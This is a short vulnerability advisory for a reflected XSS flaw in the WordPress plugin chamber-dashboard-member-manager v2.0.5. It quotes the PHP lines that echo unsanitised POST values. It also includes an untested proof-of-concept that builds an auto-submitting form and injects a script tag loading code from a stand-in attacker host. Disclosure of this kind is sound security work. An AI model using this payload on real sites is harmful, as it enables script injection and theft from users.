Advisory #: 942
Title: Reflected XSS in wordpress plugin chamber-dashboard-member-manager v2.0.5
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/chamber-dashboard-member-manager
Downloads: 2827
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: chamber-dashboard-member-manager
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./chamber-dashboard-member-manager/payment-report.php: 66: <input type="hidden" name="start_date" id="start_date" value="<?php echo $_POST['start_date']; ?>" /> 67: <input type="hidden" name="end_date" id="end_date" value="<?php echo $_POST['end_date']; ?>" /> 154: <input type="hidden" name="start_date" id="start_date" value="<?php echo $_POST['start_date']; ?>" /> 155: <input type="hidden" name="end_date" id="end_date" value="<?php echo $_POST['end_date']; ?>" /> The variable start_date appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./chamber-dashboard-member-manager/payment-report.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/chamber-dashboard-member-manager/payment-report.php method=post> <input type=hidden name=start_date value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>